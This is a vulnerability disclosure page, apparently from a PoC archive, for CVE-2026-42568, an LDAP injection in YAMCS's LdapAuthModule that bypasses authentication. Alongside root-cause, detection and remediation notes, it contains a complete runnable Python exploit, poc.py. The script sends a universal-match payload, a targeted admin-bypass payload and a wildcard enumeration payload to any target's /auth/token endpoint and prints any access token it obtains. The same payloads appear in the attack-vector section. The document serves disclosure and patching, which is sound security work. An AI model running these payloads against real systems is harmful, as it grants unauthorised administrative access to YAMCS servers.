PoC Archive PoC Archive
Medium CVE-2026-42568 / GHSA-cqh3-jg8p-336j patched

YAMCS LdapAuthModule LDAP Injection Authentication Bypass (CVE-2026-42568)

by Daniel Miranda Barcelona (ex-cal1bur) · 2026-07-05

Severity
Medium
CVE
CVE-2026-42568 / GHSA-cqh3-jg8p-336j
Category
network
Affected product
YAMCS (org.yamcs.security.LdapAuthModule)
Affected versions
yamcs-core < 5.12.7, only when LdapAuthModule is configured
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherDaniel Miranda Barcelona (ex-cal1bur)
CVE / AdvisoryCVE-2026-42568 / GHSA-cqh3-jg8p-336j
Categorynetwork
SeverityMedium
CVSS ScoreN/A
StatusPoC
Tagsldap-injection, authentication-bypass, yamcs, ldap, python, cwe-90
RelatedN/A

Affected Target

FieldValue
Software / SystemYAMCS (org.yamcs.security.LdapAuthModule)
Versions Affectedyamcs-core < 5.12.7, only when LdapAuthModule is configured
Language / PlatformJava (target); Python (PoC)
Authentication RequiredNo (this vulnerability is itself an auth bypass)
Network Access RequiredYes — HTTP access to the YAMCS /auth/token endpoint, with YAMCS backed by an LDAP directory

Summary

YAMCS’s LdapAuthModule builds LDAP search filters by directly substituting the user-supplied username into a filter template (e.g. (uid={0})) without RFC 4515 escaping. An attacker can supply LDAP metacharacters in the username field to alter the filter’s logical structure, producing a universal match and bypassing authentication entirely — logging in as an arbitrary (including administrative) user without knowing any valid password.


Vulnerability Details

Root Cause

In LdapAuthModule.java:

1
2
var filter = userFilter.replace("{0}", username);
// username inserted directly — no RFC 4515 escaping

With a typical userFilter of (uid={0}), submitting the username *)(uid=*))(|(uid=* produces the filter (uid=*)(uid=*))(|(uid=*), which is a universal OR match against the LDAP directory — CWE-90 (Improper Neutralization of Special Elements used in an LDAP Query).

Attack Vector

  1. Send a POST to the YAMCS /auth/token endpoint with grant_type=password and a crafted username such as:
    • *)(uid=*))(|(uid=* — universal bypass, matches any account.
    • admin)(|(objectClass=* — targeted bypass of the password check for the admin account.
    • op* — wildcard enumeration matching any user starting with op.
  2. Supply any arbitrary password value.
  3. If LDAP auth is configured and unpatched, the malformed filter matches an LDAP entry and YAMCS issues a valid access token without a correct password.

Impact

An unauthenticated network attacker who can reach the YAMCS HTTP API can fully bypass authentication when LDAP auth is configured, gaining access as an arbitrary user — including administrators — with the corresponding privileges inside YAMCS.


Environment / Lab Setup

Target:  yamcs-core < 5.12.7 configured with LdapAuthModule against an
         LDAP directory (userFilter e.g. "(uid={0})")
Client:  Python 3 with the `requests` library
Note:    Default installations using built-in (non-LDAP) auth are not
         affected.

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
pip install requests
python3 poc.py http://localhost:8090

The script sends three crafted LDAP-injection payloads to /auth/token and reports whether authentication was bypassed (HTTP 200 with an access token), demonstrating the universal bypass, a targeted admin bypass, and wildcard user enumeration.


Detection & Indicators of Compromise

- LDAP server logs showing search filters containing unescaped
  parentheses/wildcards embedded in the uid attribute value
  (e.g. "(uid=*)(uid=*))(|(uid=*)").
- YAMCS auth logs showing successful /auth/token requests where the
  submitted username contains LDAP metacharacters ( ) * | & = .
- Successful logins with passwords that do not match any known
  credential for the resolved account.

Signs of compromise:

  • Unexpected administrative sessions established without a corresponding valid credential.
  • Authentication logs showing usernames with embedded LDAP filter syntax.

Remediation

ActionDetail
Primary fixUpgrade to yamcs-core >= 5.12.7, which applies RFC 4515 escaping to the username before constructing the LDAP filter
Interim mitigationIf upgrading is not immediately possible, disable LdapAuthModule or front the /auth/token endpoint with input validation that rejects LDAP metacharacters in the username field

References


Notes

Mirrored from https://github.com/ex-cal1bur/CVE-2026-42568 on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/env python3
"""
CVE-2026-42568 — YAMCS LDAP Injection in LdapAuthModule
=========================================================
Vulnerability: The username parameter in LdapAuthModule is
               inserted directly into LDAP search filters
               without RFC 4515 escaping.
Impact:        Authentication bypass — log in as any user
               without knowing their password.
Affected:      yamcs-core < 5.12.7 (with LDAP auth enabled)
Fixed in:      yamcs-core 5.12.7
CWE:           CWE-90 (Improper Neutralization of Special
               Elements used in an LDAP Query)
Advisory:      https://github.com/yamcs/yamcs/security/advisories/GHSA-cqh3-jg8p-336j
Author:        Daniel Miranda Barcelona (Excal1bur)
               https://github.com/ex-cal1bur
=========================================================

Root cause (LdapAuthModule.java):
    var filter = userFilter.replace("{0}", username);
    // username inserted directly — no RFC 4515 escaping

Example userFilter: (uid={0})

With malicious username:
    *)(uid=*))(|(uid=*
Result:
    (uid=*)(uid=*))(|(uid=*)
    → Universal OR match — bypasses authentication
=========================================================
"""

import requests
import sys

PAYLOADS = [
    {
        "name": "Universal bypass (any account)",
        "username": "*)(uid=*))(|(uid=*",
        "password": "anything",
        "description": "Matches all entries — logs in as first user found"
    },
    {
        "name": "Targeted bypass (specific user)",
        "username": "admin)(|(objectClass=*",
        "password": "wrongpassword",
        "description": "Bypasses password check for 'admin' account"
    },
    {
        "name": "Wildcard enumeration",
        "username": "op*",
        "password": "anything",
        "description": "Matches any user starting with 'op' (e.g. operator)"
    }
]


def test_ldap_injection(target, payload):
    base = target.rstrip("/")
    
    resp = requests.post(f"{base}/auth/token",
        data={
            "grant_type": "password",
            "username": payload["username"],
            "password": payload["password"]
        },
        timeout=5
    )
    
    return resp.status_code, resp.text[:300]


def main():
    target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090"

    print("=" * 65)
    print(" CVE-2026-42568 — YAMCS LDAP Injection PoC")
    print(f" Target: {target}")
    print(" Note: Only effective when LdapAuthModule is configured")
    print("=" * 65)
    print()
    print(" Root cause (LdapAuthModule.java):")
    print('   var filter = userFilter.replace("{0}", username);')
    print("   // No RFC 4515 escaping applied")
    print()

    for i, payload in enumerate(PAYLOADS, 1):
        print(f"[{i}] {payload['name']}")
        print(f"     Username: {payload['username']}")
        print(f"     Password: {payload['password']}")
        print(f"     Logic:    {payload['description']}")

        try:
            status, body = test_ldap_injection(target, payload)
            print(f"     Result:   HTTP {status}")

            if status == 200:
                print(f"     [!!!] AUTHENTICATION BYPASSED")
                try:
                    import json
                    token = json.loads(body).get("access_token", "")
                    if token:
                        print(f"     [!!!] Token received: {token[:40]}...")
                except Exception:
                    pass
            elif status == 401:
                print(f"     [-] Auth failed (LDAP may not be configured)")
            elif status == 403:
                print(f"     [+] Access denied (patched or LDAP disabled)")
            else:
                print(f"     [?] Unexpected: {body[:100]}")

        except requests.exceptions.ConnectionError:
            print(f"     [-] Connection refused — is YAMCS running?")
        except Exception as e:
            print(f"     [-] Error: {e}")
        print()

    print("=" * 65)
    print(" Fix: Upgrade to yamcs-core >= 5.12.7")
    print(" Fix applies RFC 4515 escaping before constructing LDAP filter")
    print("=" * 65)


if __name__ == "__main__":
    main()